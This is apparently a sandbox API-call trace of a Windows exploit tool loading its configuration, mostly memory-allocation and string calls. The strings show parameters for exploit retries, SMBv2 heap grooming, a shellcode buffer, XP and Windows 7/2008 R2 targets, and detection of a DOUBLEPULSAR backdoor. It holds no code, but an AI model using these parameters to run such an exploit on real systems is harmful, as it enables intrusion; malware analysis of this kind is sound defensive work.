[0236.809] _mbscpy (in: param_1=0x2828d0, param_2=0x38d6c0 | out: param_1=0x2828d0) returned 0x2828d0
[0236.809] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.809] strlen (_Str="2.1.0") returned 0x5
[0236.810] calloc (_Count=0x6, _Size=0x1) returned 0x282a08
[0236.810] _mbscpy (in: param_1=0x282a08, param_2=0x281448 | out: param_1=0x282a08) returned 0x282a08
[0236.810] strlen (_Str="true") returned 0x4
[0236.810] calloc (_Count=0x5, _Size=0x1) returned 0x282a18
[0236.810] _mbscpy (in: param_1=0x282a18, param_2=0x38fcb8 | out: param_1=0x282a18) returned 0x282a18
[0236.810] strcmp (_Str1="true", _Str2="0") returned 1
[0236.810] strcmp (_Str1="true", _Str2="1") returned 1
[0236.810] realloc (_Block=0x276d80, _Size=0x1c) returned 0x38ffb8
[0236.810] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.810] malloc (_Size=0x13) returned 0x276d80
[0236.811] malloc (_Size=0x47) returned 0x38fcb8
[0236.811] malloc (_Size=0x4) returned 0x2814e8
[0236.811] malloc (_Size=0x14) returned 0x276da0
[0236.811] GetCurrentThreadId () returned 0xfa8
[0236.811] malloc (_Size=0x42) returned 0x38fe58
[0236.811] free (_Block=0x276da0)
[0236.811] calloc (_Count=0x1, _Size=0x48) returned 0x282d70
[0236.811] strlen (_Str="MaxExploitAttempts") returned 0x12
[0236.811] calloc (_Count=0x13, _Size=0x1) returned 0x276da0
[0236.811] _mbscpy (in: param_1=0x276da0, param_2=0x276d80 | out: param_1=0x276da0) returned 0x276da0
[0236.811] strlen (_Str="Number of times to attempt the exploit and groom. Disabled for XP/2K3.") returned 0x46
[0236.811] calloc (_Count=0x47, _Size=0x1) returned 0x282e80
[0236.811] _mbscpy (in: param_1=0x282e80, param_2=0x38fcb8 | out: param_1=0x282e80) returned 0x282e80
[0236.811] strlen (_Str="U32") returned 0x3
[0236.811] calloc (_Count=0x4, _Size=0x1) returned 0x282a28
[0236.811] _mbscpy (in: param_1=0x282a28, param_2=0x2814e8 | out: param_1=0x282a28) returned 0x282a28
[0236.811] strlen (_Str="Scalar") returned 0x6
[0236.811] calloc (_Count=0x7, _Size=0x1) returned 0x282a38
[0236.811] _mbscpy (in: param_1=0x282a38, param_2=0x7564c3f8 | out: param_1=0x282a38) returned 0x282a38
[0236.811] strlen (_Str="urn:trch") returned 0x8
[0236.811] calloc (_Count=0x9, _Size=0x1) returned 0x2827e0
[0236.811] _mbscpy (in: param_1=0x2827e0, param_2=0x38d6c0 | out: param_1=0x2827e0) returned 0x2827e0
[0236.811] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.811] strlen (_Str="2.1.0") returned 0x5
[0236.812] calloc (_Count=0x6, _Size=0x1) returned 0x282a48
[0236.812] _mbscpy (in: param_1=0x282a48, param_2=0x281448 | out: param_1=0x282a48) returned 0x282a48
[0236.812] strlen (_Str="3") returned 0x1
[0236.812] calloc (_Count=0x2, _Size=0x1) returned 0x282a58
[0236.812] _mbscpy (in: param_1=0x282a58, param_2=0x38fe58 | out: param_1=0x282a58) returned 0x282a58
[0236.812] free (_Block=0x276d80)
[0236.812] free (_Block=0x38fcb8)
[0236.812] free (_Block=0x2814e8)
[0236.812] free (_Block=0x0)
[0236.812] free (_Block=0x38fe58)
[0236.812] free (_Block=0x0)
[0236.812] free (_Block=0x0)
[0236.812] free (_Block=0x0)
[0236.812] free (_Block=0x0)
[0236.812] realloc (_Block=0x38ffb8, _Size=0x20) returned 0x38ffb8
[0236.812] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.812] malloc (_Size=0x11) returned 0x276d80
[0236.813] malloc (_Size=0x53) returned 0x38fe58
[0236.813] malloc (_Size=0x4) returned 0x2814e8
[0236.813] malloc (_Size=0x14) returned 0x276ce0
[0236.813] GetCurrentThreadId () returned 0xfa8
[0236.813] malloc (_Size=0x42) returned 0x38fcb8
[0236.813] free (_Block=0x276ce0)
[0236.813] calloc (_Count=0x1, _Size=0x48) returned 0x282ed0
[0236.813] strlen (_Str="GroomAllocations") returned 0x10
[0236.813] calloc (_Count=0x11, _Size=0x1) returned 0x276ce0
[0236.813] _mbscpy (in: param_1=0x276ce0, param_2=0x276d80 | out: param_1=0x276ce0) returned 0x276ce0
[0236.813] strlen (_Str="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.") returned 0x52
[0236.813] calloc (_Count=0x53, _Size=0x1) returned 0x282f20
[0236.813] _mbscpy (in: param_1=0x282f20, param_2=0x38fe58 | out: param_1=0x282f20) returned 0x282f20
[0236.813] strlen (_Str="U32") returned 0x3
[0236.813] calloc (_Count=0x4, _Size=0x1) returned 0x282a68
[0236.813] _mbscpy (in: param_1=0x282a68, param_2=0x2814e8 | out: param_1=0x282a68) returned 0x282a68
[0236.813] strlen (_Str="Scalar") returned 0x6
[0236.813] calloc (_Count=0x7, _Size=0x1) returned 0x282a78
[0236.813] _mbscpy (in: param_1=0x282a78, param_2=0x7564c3f8 | out: param_1=0x282a78) returned 0x282a78
[0236.813] strlen (_Str="urn:trch") returned 0x8
[0236.814] calloc (_Count=0x9, _Size=0x1) returned 0x282918
[0236.814] _mbscpy (in: param_1=0x282918, param_2=0x38d6c0 | out: param_1=0x282918) returned 0x282918
[0236.814] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.814] strlen (_Str="2.1.0") returned 0x5
[0236.814] calloc (_Count=0x6, _Size=0x1) returned 0x282a88
[0236.814] _mbscpy (in: param_1=0x282a88, param_2=0x281448 | out: param_1=0x282a88) returned 0x282a88
[0236.814] strlen (_Str="12") returned 0x2
[0236.814] calloc (_Count=0x3, _Size=0x1) returned 0x282a98
[0236.814] _mbscpy (in: param_1=0x282a98, param_2=0x38fcb8 | out: param_1=0x282a98) returned 0x282a98
[0236.814] free (_Block=0x276d80)
[0236.814] free (_Block=0x38fe58)
[0236.814] free (_Block=0x2814e8)
[0236.814] free (_Block=0x0)
[0236.814] free (_Block=0x38fcb8)
[0236.814] free (_Block=0x0)
[0236.814] free (_Block=0x0)
[0236.815] free (_Block=0x0)
[0236.815] free (_Block=0x0)
[0236.815] realloc (_Block=0x38ffb8, _Size=0x24) returned 0x38ffb8
[0236.815] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.815] malloc (_Size=0x10) returned 0x282948
[0236.815] malloc (_Size=0x45) returned 0x38fcb8
[0236.815] malloc (_Size=0x7) returned 0x2814e8
[0236.815] malloc (_Size=0x6) returned 0x282aa8
[0236.815] calloc (_Count=0x1, _Size=0x48) returned 0x282f80
[0236.815] strlen (_Str="ShellcodeBuffer") returned 0xf
[0236.815] calloc (_Count=0x10, _Size=0x1) returned 0x270860
[0236.815] _mbscpy (in: param_1=0x270860, param_2=0x282948 | out: param_1=0x270860) returned 0x270860
[0236.815] strlen (_Str="Shellcode buffer in hex (hint: use 'F:' to load from file)") returned 0x44
[0236.815] calloc (_Count=0x45, _Size=0x1) returned 0x38fe58
[0236.815] _mbscpy (in: param_1=0x38fe58, param_2=0x38fcb8 | out: param_1=0x38fe58) returned 0x38fe58
[0236.815] strlen (_Str="Buffer") returned 0x6
[0236.815] calloc (_Count=0x7, _Size=0x1) returned 0x282ab8
[0236.815] _mbscpy (in: param_1=0x282ab8, param_2=0x2814e8 | out: param_1=0x282ab8) returned 0x282ab8
[0236.816] strlen (_Str="Scalar") returned 0x6
[0236.816] calloc (_Count=0x7, _Size=0x1) returned 0x282ac8
[0236.816] _mbscpy (in: param_1=0x282ac8, param_2=0x7564c3f8 | out: param_1=0x282ac8) returned 0x282ac8
[0236.816] strlen (_Str="urn:trch") returned 0x8
[0236.816] calloc (_Count=0x9, _Size=0x1) returned 0x270878
[0236.816] _mbscpy (in: param_1=0x270878, param_2=0x38d6c0 | out: param_1=0x270878) returned 0x270878
[0236.816] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.817] strlen (_Str="2.1.0") returned 0x5
[0236.817] calloc (_Count=0x6, _Size=0x1) returned 0x282ad8
[0236.817] _mbscpy (in: param_1=0x282ad8, param_2=0x281448 | out: param_1=0x282ad8) returned 0x282ad8
[0236.817] realloc (_Block=0x38ffb8, _Size=0x28) returned 0x38ffb8
[0236.817] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.817] malloc (_Size=0x7) returned 0x282ae8
[0236.817] malloc (_Size=0x3e) returned 0x282428
[0236.817] calloc (_Count=0x1, _Size=0x24) returned 0x38fea8
[0236.817] strlen (_Str="Target") returned 0x6
[0236.817] calloc (_Count=0x7, _Size=0x1) returned 0x282aa8
[0236.817] _mbscpy (in: param_1=0x282aa8, param_2=0x282ae8 | out: param_1=0x282aa8) returned 0x282aa8
[0236.817] strlen (_Str="Operating System, Service Pack, and Architecture of target OS") returned 0x3d
[0236.817] calloc (_Count=0x3e, _Size=0x1) returned 0x282470
[0236.817] _mbscpy (in: param_1=0x282470, param_2=0x282428 | out: param_1=0x282470) returned 0x282470
[0236.817] strlen (_Str="urn:trch") returned 0x8
[0236.817] calloc (_Count=0x9, _Size=0x1) returned 0x282948
[0236.817] _mbscpy (in: param_1=0x282948, param_2=0x38d6c0 | out: param_1=0x282948) returned 0x282948
[0236.817] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.818] strlen (_Str="2.1.0") returned 0x5
[0236.818] calloc (_Count=0x6, _Size=0x1) returned 0x282af8
[0236.818] _mbscpy (in: param_1=0x282af8, param_2=0x281448 | out: param_1=0x282af8) returned 0x282af8
[0236.818] malloc (_Size=0x4) returned 0x282b08
[0236.818] free (_Block=0x282ae8)
[0236.818] free (_Block=0x282428)
[0236.818] free (_Block=0x0)
[0236.818] malloc (_Size=0x3) returned 0x282ae8
[0236.818] malloc (_Size=0x24) returned 0x282dc0
[0236.818] calloc (_Count=0x1, _Size=0x20) returned 0x38fcb8
[0236.818] strlen (_Str="XP") returned 0x2
[0236.818] calloc (_Count=0x3, _Size=0x1) returned 0x282b18
[0236.818] _mbscpy (in: param_1=0x282b18, param_2=0x282ae8 | out: param_1=0x282b18) returned 0x282b18
[0236.818] strlen (_Str="Windows XP 32-Bit All Service Packs") returned 0x23
[0236.818] calloc (_Count=0x24, _Size=0x1) returned 0x271048
[0236.818] _mbscpy (in: param_1=0x271048, param_2=0x282dc0 | out: param_1=0x271048) returned 0x271048
[0236.818] strlen (_Str="urn:trch") returned 0x8
[0236.818] calloc (_Count=0x9, _Size=0x1) returned 0x270890
[0236.818] _mbscpy (in: param_1=0x270890, param_2=0x38d6c0 | out: param_1=0x270890) returned 0x270890
[0236.818] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.818] strlen (_Str="2.1.0") returned 0x5
[0236.819] calloc (_Count=0x6, _Size=0x1) returned 0x282b28
[0236.819] _mbscpy (in: param_1=0x282b28, param_2=0x281448 | out: param_1=0x282b28) returned 0x282b28
[0236.819] malloc (_Size=0x4) returned 0x282b38
[0236.819] malloc (_Size=0x4) returned 0x282b48
[0236.819] free (_Block=0x282ae8)
[0236.819] free (_Block=0x282dc0)
[0236.819] realloc (_Block=0x282b08, _Size=0x8) returned 0x282ae8
[0236.819] malloc (_Size=0xa) returned 0x2708a8
[0236.819] malloc (_Size=0x3a) returned 0x282428
[0236.819] calloc (_Count=0x1, _Size=0x20) returned 0x38fce0
[0236.819] strlen (_Str="WIN72K8R2") returned 0x9
[0236.819] calloc (_Count=0xa, _Size=0x1) returned 0x2708c0
[0236.819] _mbscpy (in: param_1=0x2708c0, param_2=0x2708a8 | out: param_1=0x2708c0) returned 0x2708c0
[0236.819] strlen (_Str="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs") returned 0x39
[0236.819] calloc (_Count=0x3a, _Size=0x1) returned 0x2824b8
[0236.819] _mbscpy (in: param_1=0x2824b8, param_2=0x282428 | out: param_1=0x2824b8) returned 0x2824b8
[0236.819] strlen (_Str="urn:trch") returned 0x8
[0236.819] calloc (_Count=0x9, _Size=0x1) returned 0x2708d8
[0236.819] _mbscpy (in: param_1=0x2708d8, param_2=0x38d6c0 | out: param_1=0x2708d8) returned 0x2708d8
[0236.819] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.819] strlen (_Str="2.1.0") returned 0x5
[0236.819] calloc (_Count=0x6, _Size=0x1) returned 0x282b08
[0236.820] _mbscpy (in: param_1=0x282b08, param_2=0x281448 | out: param_1=0x282b08) returned 0x282b08
[0236.820] malloc (_Size=0x4) returned 0x282b58
[0236.820] malloc (_Size=0x4) returned 0x282b68
[0236.820] free (_Block=0x2708a8)
[0236.820] free (_Block=0x282428)
[0236.820] realloc (_Block=0x282ae8, _Size=0xc) returned 0x2708a8
[0236.820] malloc (_Size=0x14) returned 0x276cc0
[0236.820] GetCurrentThreadId () returned 0xfa8
[0236.820] malloc (_Size=0x42) returned 0x271078
[0236.820] free (_Block=0x276cc0)
[0236.820] strlen (_Str="WIN72K8R2") returned 0x9
[0236.820] calloc (_Count=0xa, _Size=0x1) returned 0x2708f0
[0236.820] _mbscpy (in: param_1=0x2708f0, param_2=0x271078 | out: param_1=0x2708f0) returned 0x2708f0
[0236.820] realloc (_Block=0x281488, _Size=0x8) returned 0x282ae8
[0236.820] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.820] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.820] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.820] calloc (_Count=0x1, _Size=0x1c) returned 0x282dc0
[0236.820] strlen (_Str="outputparameters") returned 0x10
[0236.820] calloc (_Count=0x11, _Size=0x1) returned 0x276cc0
[0236.821] _mbscpy (in: param_1=0x276cc0, param_2=0x276d00 | out: param_1=0x276cc0) returned 0x276cc0
[0236.821] strlen (_Str="urn:trch") returned 0x8
[0236.821] calloc (_Count=0x9, _Size=0x1) returned 0x270908
[0236.821] _mbscpy (in: param_1=0x270908, param_2=0x38d6c0 | out: param_1=0x270908) returned 0x270908
[0236.821] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.821] strlen (_Str="2.1.0") returned 0x5
[0236.821] calloc (_Count=0x6, _Size=0x1) returned 0x281488
[0236.821] _mbscpy (in: param_1=0x281488, param_2=0x281448 | out: param_1=0x281488) returned 0x281488
[0236.821] calloc (_Count=0x1, _Size=0x4) returned 0x2814e8
[0236.821] calloc (_Count=0x1, _Size=0x4) returned 0x282b78
[0236.821] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0236.821] malloc (_Size=0x14) returned 0x276dc0
[0236.821] malloc (_Size=0x69) returned 0x271078
[0236.821] malloc (_Size=0x8) returned 0x282b88
[0236.821] calloc (_Count=0x1, _Size=0x48) returned 0x2710f0
[0236.821] strlen (_Str="DoublePulsarPresent") returned 0x13
[0236.821] calloc (_Count=0x14, _Size=0x1) returned 0x276de0
[0236.821] _mbscpy (in: param_1=0x276de0, param_2=0x276dc0 | out: param_1=0x276de0) returned 0x276de0
[0236.821] strlen (_Str="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown") returned 0x68
[0236.822] calloc (_Count=0x69, _Size=0x1) returned 0x271140
[0236.822] _mbscpy (in: param_1=0x271140, param_2=0x271078 | out: param_1=0x271140) returned 0x271140
[0236.822] strlen (_Str="Boolean") returned 0x7
[0236.822] calloc (_Count=0x8, _Size=0x1) returned 0x282b98
[0236.822] _mbscpy (in: param_1=0x282b98, param_2=0x282b88 | out: param_1=0x282b98) returned 0x282b98
[0236.822] strlen (_Str="Scalar") returned 0x6
[0236.822] calloc (_Count=0x7, _Size=0x1) returned 0x282ba8
[0236.822] _mbscpy (in: param_1=0x282ba8, param_2=0x7564c3f8 | out: param_1=0x282ba8) returned 0x282ba8
[0236.822] strlen (_Str="urn:trch") returned 0x8
[0236.822] calloc (_Count=0x9, _Size=0x1) returned 0x270920
[0236.822] _mbscpy (in: param_1=0x270920, param_2=0x38d6c0 | out: param_1=0x270920) returned 0x270920
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.822] strlen (_Str="2.1.0") returned 0x5
[0236.822] calloc (_Count=0x6, _Size=0x1) returned 0x282bb8
[0236.822] _mbscpy (in: param_1=0x282bb8, param_2=0x281448 | out: param_1=0x282bb8) returned 0x282bb8
[0236.822] realloc (_Block=0x2814e8, _Size=0x8) returned 0x282b88
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.822] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.823] free (_Block=0x281448)
[0236.823] free (_Block=0x273328)
[0236.823] free (_Block=0x2732e0)
[0236.823] free (_Block=0x2733e8)
[0236.823] free (_Block=0x2733a0)
[0236.823] free (_Block=0x273500)
[0236.823] free (_Block=0x273a90)
[0236.823] free (_Block=0x273520)
[0236.823] free (_Block=0x273b38)
[0236.823] free (_Block=0x273510)
[0236.823] free (_Block=0x273ad8)
[0236.823] free (_Block=0x273530)
[0236.823] free (_Block=0x273b80)
[0236.823] free (_Block=0x2734c0)
[0236.823] free (_Block=0x273898)
[0236.823] free (_Block=0x2734b0)
[0236.823] free (_Block=0x273460)
[0236.823] free (_Block=0x2734e0)
[0236.823] free (_Block=0x273918)
[0236.823] free (_Block=0x2734d0)
[0236.823] free (_Block=0x2738e0)
[0236.823] free (_Block=0x38d750)
[0236.823] free (_Block=0x273998)
[0236.823] free (_Block=0x2734f0)
[0236.823] free (_Block=0x273960)
[0236.824] free (_Block=0x273a60)
[0236.824] free (_Block=0x273a18)
[0236.824] free (_Block=0x38d768)
[0236.824] free (_Block=0x2739e0)
[0236.824] free (_Block=0x38d738)
[0236.824] free (_Block=0x273418)
[0236.824] free (_Block=0x273540)
[0236.824] free (_Block=0x273bc8)
[0236.824] free (_Block=0x273580)
[0236.824] free (_Block=0x273d30)
[0236.824] free (_Block=0x2735a0)
[0236.824] free (_Block=0x273dc0)
[0236.824] free (_Block=0x273590)
[0236.824] free (_Block=0x273d78)
[0236.824] free (_Block=0x2735b0)
[0236.824] free (_Block=0x273e08)
[0236.824] free (_Block=0x273560)
[0236.824] free (_Block=0x273c58)
[0236.824] free (_Block=0x273550)
[0236.824] free (_Block=0x274b20)
[0236.824] free (_Block=0x38d798)
[0236.824] free (_Block=0x273ca0)
[0236.824] free (_Block=0x273570)
[0236.825] free (_Block=0x274b58)
[0236.825] free (_Block=0x274bc8)
[0236.825] free (_Block=0x273ce8)
[0236.825] free (_Block=0x38d7b0)
[0236.825] free (_Block=0x274b90)
[0236.825] free (_Block=0x38d780)
[0236.825] free (_Block=0x273c10)
[0236.825] free (_Block=0x2735c0)
[0236.825] free (_Block=0x273e50)
[0236.825] free (_Block=0x274c50)
[0236.825] free (_Block=0x273ee0)
[0236.825] free (_Block=0x2735d0)
[0236.825] free (_Block=0x274c18)
[0236.825] free (_Block=0x2735f0)
[0236.825] free (_Block=0x273f28)
[0236.825] free (_Block=0x2735e0)
[0236.825] free (_Block=0x274c70)
[0236.825] free (_Block=0x38d7e0)
[0236.825] free (_Block=0x273f70)
[0236.825] free (_Block=0x273600)
[0236.825] free (_Block=0x274ca8)
[0236.826] free (_Block=0x2754e0)
[0236.826] free (_Block=0x273fb8)
[0236.826] free (_Block=0x38d7f8)
[0236.826] free (_Block=0x274cf8)
[0236.826] free (_Block=0x38d7c8)
[0236.826] free (_Block=0x273e98)
[0236.826] free (_Block=0x273610)
[0236.826] free (_Block=0x274000)
[0236.826] free (_Block=0x273660)
[0236.826] free (_Block=0x2741b0)
[0236.826] free (_Block=0x273680)
[0236.826] free (_Block=0x274240)
[0236.826] free (_Block=0x273670)
[0236.826] free (_Block=0x2741f8)
[0236.826] free (_Block=0x273690)
[0236.826] free (_Block=0x274288)
[0236.826] free (_Block=0x38d828)
[0236.826] free (_Block=0x274090)
[0236.826] free (_Block=0x273620)
[0236.826] free (_Block=0x274d30)
[0236.826] free (_Block=0x273640)
[0236.826] free (_Block=0x2740d8)
[0236.826] free (_Block=0x273630)
[0236.827] free (_Block=0x274d68)
[0236.827] free (_Block=0x38d840)
[0236.827] free (_Block=0x274120)
[0236.827] free (_Block=0x273650)
[0236.827] free (_Block=0x274da0)
[0236.827] free (_Block=0x275500)
[0236.827] free (_Block=0x274168)
[0236.827] free (_Block=0x38d858)
[0236.827] free (_Block=0x274dd8)
[0236.827] free (_Block=0x38d810)
[0236.827] free (_Block=0x274048)
[0236.827] free (_Block=0x2736a0)
[0236.827] free (_Block=0x2742d0)
[0236.827] free (_Block=0x2736f0)
[0236.827] free (_Block=0x274480)
[0236.827] free (_Block=0x273710)
[0236.827] free (_Block=0x274510)
[0236.827] free (_Block=0x273700)
[0236.827] free (_Block=0x2744c8)
[0236.827] free (_Block=0x273720)
[0236.827] free (_Block=0x274558)
[0236.827] free (_Block=0x275540)
[0236.827] free (_Block=0x274360)
[0236.827] free (_Block=0x2736b0)
[0236.828] free (_Block=0x274e10)
[0236.828] free (_Block=0x2736d0)
[0236.828] free (_Block=0x2743a8)
[0236.828] free (_Block=0x2736c0)
[0236.828] free (_Block=0x274e48)
[0236.828] free (_Block=0x38d888)
[0236.828] free (_Block=0x2743f0)
[0236.828] free (_Block=0x2736e0)
[0236.828] free (_Block=0x274e80)
[0236.828] free (_Block=0x275568)
[0236.828] free (_Block=0x274438)
[0236.828] free (_Block=0x38d8a0)
[0236.828] free (_Block=0x274eb8)
[0236.828] free (_Block=0x38d870)
[0236.828] free (_Block=0x274318)
[0236.828] free (_Block=0x273730)
[0236.828] free (_Block=0x2745a0)
[0236.828] free (_Block=0x273780)
[0236.828] free (_Block=0x274750)
[0236.828] free (_Block=0x2737a0)
[0236.828] free (_Block=0x2747e0)
[0236.828] free (_Block=0x273790)
[0236.828] free (_Block=0x274798)
[0236.828] free (_Block=0x2737b0)
[0236.829] free (_Block=0x274828)
[0236.829] free (_Block=0x2755c8)
[0236.829] free (_Block=0x274630)
[0236.829] free (_Block=0x273740)
[0236.829] free (_Block=0x274ef0)
[0236.829] free (_Block=0x273760)
[0236.829] free (_Block=0x274678)
[0236.829] free (_Block=0x273750)
[0236.829] free (_Block=0x274f28)
[0236.829] free (_Block=0x38d8d0)
[0236.829] free (_Block=0x2746c0)
[0236.829] free (_Block=0x273770)
[0236.829] free (_Block=0x274f60)
[0236.829] free (_Block=0x2755f0)
[0236.829] free (_Block=0x274708)
[0236.829] free (_Block=0x38d8e8)
[0236.829] free (_Block=0x274f98)
[0236.829] free (_Block=0x38d8b8)
[0236.829] free (_Block=0x2745e8)
[0236.829] free (_Block=0x2737c0)
[0236.829] free (_Block=0x274870)
[0236.829] free (_Block=0x273810)
[0236.829] free (_Block=0x274a20)
[0236.830] free (_Block=0x273830)
[0236.830] free (_Block=0x274ab0)
[0236.830] free (_Block=0x273820)
[0236.830] free (_Block=0x274a68)
[0236.830] free (_Block=0x273840)
[0236.830] free (_Block=0x275730)
[0236.830] free (_Block=0x275678)
[0236.830] free (_Block=0x274900)
[0236.830] free (_Block=0x2737d0)
[0236.830] free (_Block=0x274fd0)
[0236.830] free (_Block=0x2737f0)
[0236.830] free (_Block=0x274948)
[0236.830] free (_Block=0x2737e0)
[0236.830] free (_Block=0x275008)
[0236.830] free (_Block=0x2756a8)
[0236.830] free (_Block=0x274990)
[0236.830] free (_Block=0x273800)
[0236.830] free (_Block=0x275040)
[0236.830] free (_Block=0x2756c8)
[0236.830] free (_Block=0x2749d8)
[0236.831] free (_Block=0x38d918)
[0236.831] free (_Block=0x275078)
[0236.831] free (_Block=0x38d900)
[0236.831] free (_Block=0x2748b8)
[0236.831] free (_Block=0x273850)
[0236.831] free (_Block=0x275778)
[0236.831] free (_Block=0x276770)
[0236.831] free (_Block=0x275928)
[0236.831] free (_Block=0x276790)
[0236.831] free (_Block=0x2759b8)
[0236.831] free (_Block=0x276780)
[0236.831] free (_Block=0x275970)
[0236.831] free (_Block=0x2767a0)
[0236.831] free (_Block=0x275a00)
[0236.831] free (_Block=0x276718)
[0236.831] free (_Block=0x275808)
[0236.831] free (_Block=0x273860)
[0236.831] free (_Block=0x2750b0)
[0236.831] free (_Block=0x273880)
[0236.831] free (_Block=0x275850)
[0236.873] free (_Block=0x273870)
[0236.873] free (_Block=0x2750e8)
[0236.873] free (_Block=0x276b48)
[0236.873] free (_Block=0x275898)
[0236.873] free (_Block=0x276760)
[0236.873] free (_Block=0x275120)
[0236.873] free (_Block=0x276b68)
[0236.873] free (_Block=0x2758e0)
[0236.873] free (_Block=0x38d948)
[0236.873] free (_Block=0x275158)
[0236.873] free (_Block=0x38d930)
[0236.873] free (_Block=0x2757c0)
[0236.873] free (_Block=0x2767b0)
[0236.873] free (_Block=0x275a48)
[0236.873] free (_Block=0x38d978)
[0236.874] free (_Block=0x275ad8)
[0236.874] free (_Block=0x2767c0)
[0236.874] free (_Block=0x275190)
[0236.874] free (_Block=0x2767d0)
[0236.874] free (_Block=0x275b20)
[0236.874] free (_Block=0x38d990)
[0236.874] free (_Block=0x2751c8)
[0236.874] free (_Block=0x276c38)
[0236.874] free (_Block=0x275b68)
[0236.874] free (_Block=0x2767e0)
[0236.874] free (_Block=0x275200)
[0236.874] free (_Block=0x276800)
[0236.874] free (_Block=0x275bb0)
[0236.874] free (_Block=0x2767f0)
[0236.874] free (_Block=0x275238)
[0236.874] free (_Block=0x276820)
[0236.874] free (_Block=0x275bf8)
[0236.874] free (_Block=0x276810)
[0236.874] free (_Block=0x275270)
[0236.875] free (_Block=0x276c58)
[0236.875] free (_Block=0x275c40)
[0236.875] free (_Block=0x38d9a8)
[0236.875] free (_Block=0x2752a8)
[0236.875] free (_Block=0x38d960)
[0236.875] free (_Block=0x275a90)
[0236.875] free (_Block=0x276830)
[0236.875] free (_Block=0x275c88)
[0236.875] free (_Block=0x276870)
[0236.875] free (_Block=0x275e38)
[0236.875] free (_Block=0x38da08)
[0236.875] free (_Block=0x275ec8)
[0236.876] strlen (_Str="LogFile") returned 0x7
[0236.876] calloc (_Count=0x8, _Size=0x1) returned 0x281418
[0236.876] _mbscpy (in: param_1=0x281418, param_2=0x75613244 | out: param_1=0x281418) returned 0x281418
[0236.876] strlen (_Str="Where to write log file") returned 0x17
[0236.876] calloc (_Count=0x18, _Size=0x1) returned 0x276d60
[0236.876] _mbscpy (in: param_1=0x276d60, param_2=0x756132a8 | out: param_1=0x276d60) returned 0x276d60
[0236.876] strlen (_Str="String") returned 0x6
[0236.876] calloc (_Count=0x7, _Size=0x1) returned 0x281408
[0236.876] _mbscpy (in: param_1=0x281408, param_2=0x7564c418 | out: param_1=0x281408) returned 0x281408
[0236.876] strlen (_Str="Scalar") returned 0x6
[0236.876] calloc (_Count=0x7, _Size=0x1) returned 0x2813f8
[0236.876] _mbscpy (in: param_1=0x2813f8, param_2=0x7564c3f8 | out: param_1=0x2813f8) returned 0x2813f8
[0236.876] strlen (_Str="urn:trch") returned 0x8
[0236.876] calloc (_Count=0x9, _Size=0x1) returned 0x38d6c0
[0236.876] _mbscpy (in: param_1=0x38d6c0, param_2=0x282708 | out: param_1=0x38d6c0) returned 0x38d6c0
[0236.876] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.876] strlen (_Str="2.1.0") returned 0x5
[0236.876] calloc (_Count=0x6, _Size=0x1) returned 0x2813e8
[0236.876] _mbscpy (in: param_1=0x2813e8, param_2=0x281478 | out: param_1=0x2813e8) returned 0x2813e8
[0236.877] realloc (_Block=0x38ffb8, _Size=0x2c) returned 0x271078
[0236.877] calloc (_Count=0x1, _Size=0x48) returned 0x38fed8
[0236.877] strlen (_Str="OutConfig") returned 0x9
[0236.877] calloc (_Count=0xa, _Size=0x1) returned 0x38d6f0
[0236.877] _mbscpy (in: param_1=0x38d6f0, param_2=0x75613238 | out: param_1=0x38d6f0) returned 0x38d6f0
[0236.877] strlen (_Str="Where to write output parameters file") returned 0x25
[0236.877] calloc (_Count=0x26, _Size=0x1) returned 0x38ffb8
[0236.877] _mbscpy (in: param_1=0x38ffb8, param_2=0x75613280 | out: param_1=0x38ffb8) returned 0x38ffb8
[0236.877] strlen (_Str="String") returned 0x6
[0236.877] calloc (_Count=0x7, _Size=0x1) returned 0x281368
[0236.877] _mbscpy (in: param_1=0x281368, param_2=0x7564c418 | out: param_1=0x281368) returned 0x281368
[0236.877] strlen (_Str="Scalar") returned 0x6
[0236.877] calloc (_Count=0x7, _Size=0x1) returned 0x281398
[0236.877] _mbscpy (in: param_1=0x281398, param_2=0x7564c3f8 | out: param_1=0x281398) returned 0x281398
[0236.877] strlen (_Str="urn:trch") returned 0x8
[0236.877] calloc (_Count=0x9, _Size=0x1) returned 0x38d6d8
[0236.877] _mbscpy (in: param_1=0x38d6d8, param_2=0x282708 | out: param_1=0x38d6d8) returned 0x38d6d8
[0236.877] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.877] strlen (_Str="2.1.0") returned 0x5
[0236.878] calloc (_Count=0x6, _Size=0x1) returned 0x2813a8
[0236.878] _mbscpy (in: param_1=0x2813a8, param_2=0x281478 | out: param_1=0x2813a8) returned 0x2813a8
[0236.878] strlen (_Str="stdout") returned 0x6
[0236.878] calloc (_Count=0x7, _Size=0x1) returned 0x281388
[0236.878] _mbscpy (in: param_1=0x281388, param_2=0x756030d8 | out: param_1=0x281388) returned 0x281388
[0236.878] strlen (_Str="stdout") returned 0x6
[0236.878] calloc (_Count=0x7, _Size=0x1) returned 0x281378
